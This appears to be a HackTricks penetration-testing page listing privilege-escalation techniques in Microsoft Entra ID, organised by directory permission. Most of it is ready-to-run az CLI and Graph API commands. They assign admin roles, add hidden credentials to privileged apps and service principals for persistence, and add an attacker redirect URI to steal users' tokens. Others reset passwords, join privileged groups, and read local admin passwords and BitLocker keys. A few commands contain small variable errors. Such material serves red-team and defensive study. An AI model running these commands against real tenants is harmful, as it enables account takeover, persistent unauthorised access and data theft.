Az - EntraID Privesc

Reading time: 11 minutes

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

note

Note that not all the granular permissions built-in roles have in Entra ID are elegible to be used in custom roles.

Roles

Role: Privileged Role Administrator

This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.

  • Assign role to a user:
bash
# List enabled built-in roles
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/directoryRoles"

# Give role (Global Administrator?) to a user
roleId="<roleId>"
userId="<userId>"
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
  --headers "Content-Type=application/json" \
  --body "{
    \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
  }"
  • Add more permissions to a role:
bash
# List only custom roles
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# Change the permissions of a custom role
az rest --method PATCH \
  --uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
  --headers "Content-Type=application/json" \
  --body '{
    "description": "Update basic properties of application registrations",
    "rolePermissions": [
      {
        "allowedResourceActions": [
          "microsoft.directory/applications/credentials/update"
        ]
      }
    ]
  }'

Applications

microsoft.directory/applications/credentials/update

This allows an attacker to add credentials (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges.

bash
# Generate a new password without overwritting old ones
az ad app credential reset --id <appId> --append
# Generate a new certificate without overwritting old ones
az ad app credential reset --id <appId> --create-cert

microsoft.directory/applications.myOrganization/credentials/update

This allows the same actions as applications/credentials/update, but scoped to single-directory applications.

bash
az ad app credential reset --id <appId> --append

microsoft.directory/applications/owners/update

By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions.

bash
az ad app owner add --id <AppId> --owner-object-id <UserId>
az ad app credential reset --id <appId> --append

# You can check the owners with
az ad app owner list --id <appId>

microsoft.directory/applications/allProperties/update

An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything.

Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions.

bash
# Get current redirect uris
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
# Add a new redirect URI (make sure to keep the configured ones)
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"

Service Principals

microsoft.directory/servicePrincipals/credentials/update

This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.

bash
az ad sp credential reset --id <sp-id> --append

caution

The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.
From the API they can be found with: az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json

If you get the error "code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid." it's because it's not possible to modify the passwordCredentials property of the SP and first you need to unlock it. For it you need a permission (microsoft.directory/applications/allProperties/update) that allows you to execute:

bash
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'

microsoft.directory/servicePrincipals/synchronizationCredentials/manage

This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.

bash
az ad sp credential reset --id <sp-id> --append

microsoft.directory/servicePrincipals/owners/update

Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions.

bash
# Add new owner
spId="<spId>"
userId="<userId>"
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
  --headers "Content-Type=application/json" \
  --body "{
    \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
  }"

az ad sp credential reset --id <sp-id> --append

# You can check the owners with
az ad sp owner list --id <spId>

caution

After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you can't remove owners nowadays.

microsoft.directory/servicePrincipals/disable and enable

These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.

Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.

bash
bashCopy code# Disable
az ad sp update --id <ServicePrincipalId> --account-enabled false

# Enable
az ad sp update --id <ServicePrincipalId> --account-enabled true

microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials & microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials

These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.

bash
# Generate SSO creds for a user or a group
spID="<spId>"
user_or_group_id="<id>"
username="<username>"
password="<password>"
az rest --method POST \
  --uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
  --headers "Content-Type=application/json" \
  --body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"


# Get credentials of a specific credID
credID="<credID>"
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
  --headers "Content-Type=application/json" \
  --body "{\"id\": \"$credID\"}"

Groups

microsoft.directory/groups/allProperties/update

This permission allows to add users to privileged groups, leading to privilege escalation.

bash
az ad group member add --group <GroupName> --member-id <UserId>

Note: This permission excludes Entra ID role-assignable groups.

microsoft.directory/groups/owners/update

This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group.

bash
az ad group owner add --group <GroupName> --owner-object-id <UserId>
az ad group member add --group <GroupName> --member-id <UserId>

Note: This permission excludes Entra ID role-assignable groups.

microsoft.directory/groups/members/update

This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access.

bash
az ad group member add --group <GroupName> --member-id <UserId>

microsoft.directory/groups/dynamicMembershipRule/update

This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.

bash
groupId="<group-id>"
az rest --method PATCH \
  --uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
  --headers "Content-Type=application/json" \
  --body '{
    "membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
    "membershipRuleProcessingState": "On"
  }'

Note: This permission excludes Entra ID role-assignable groups.

Dynamic Groups Privesc

It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check:

Az - Dynamic Groups Privesc

Users

microsoft.directory/users/password/update

This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.

bash
az ad user update --id <user-id> --password "kweoifuh.234"

microsoft.directory/users/basic/update

This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges.

bash
#e.g. change manager of a user
victimUser="<userID>"
managerUser="<userID>"
az rest --method PUT \
  --uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
  --headers "Content-Type=application/json" \
  --body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'

#e.g. change department of a user
az rest --method PATCH \
  --uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
  --headers "Content-Type=application/json" \
  --body "{\"department\": \"security\"}"

Conditional Access Policies & MFA bypass

Misconfigured conditional access policies requiring MFA could be bypassed, check:

Az - Conditional Access Policies & MFA Bypass

Devices

microsoft.directory/devices/registeredOwners/update

This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data.

bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
  --headers "Content-Type=application/json" \
  --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/devices/registeredUsers/update

This permission allows attackers to associate their account with devices to gain access or to bypass security policies.

bash
deviceId="<deviceId>"
userId="<userId>"
az rest --method POST \
  --uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
  --headers "Content-Type=application/json" \
  --body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'

microsoft.directory/deviceLocalCredentials/password/read

This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password

bash
# List deviceLocalCredentials
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"

# Get credentials
deviceLC="<deviceLCID>"
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \

BitlockerKeys

microsoft.directory/bitlockerKeys/key/read

This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality.

bash
# List recovery keys
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"

# Get key
recoveryKeyId="<recoveryKeyId>"
az rest --method GET \
  --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"

Other Interesting permissions (TODO)

  • microsoft.directory/applications/permissions/update
  • microsoft.directory/servicePrincipals/permissions/update
  • microsoft.directory/applications.myOrganization/allProperties/update
  • microsoft.directory/applications/allProperties/update
  • microsoft.directory/servicePrincipals/appRoleAssignedTo/update
  • microsoft.directory/applications/appRoles/update
  • microsoft.directory/applications.myOrganization/permissions/update

tip

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks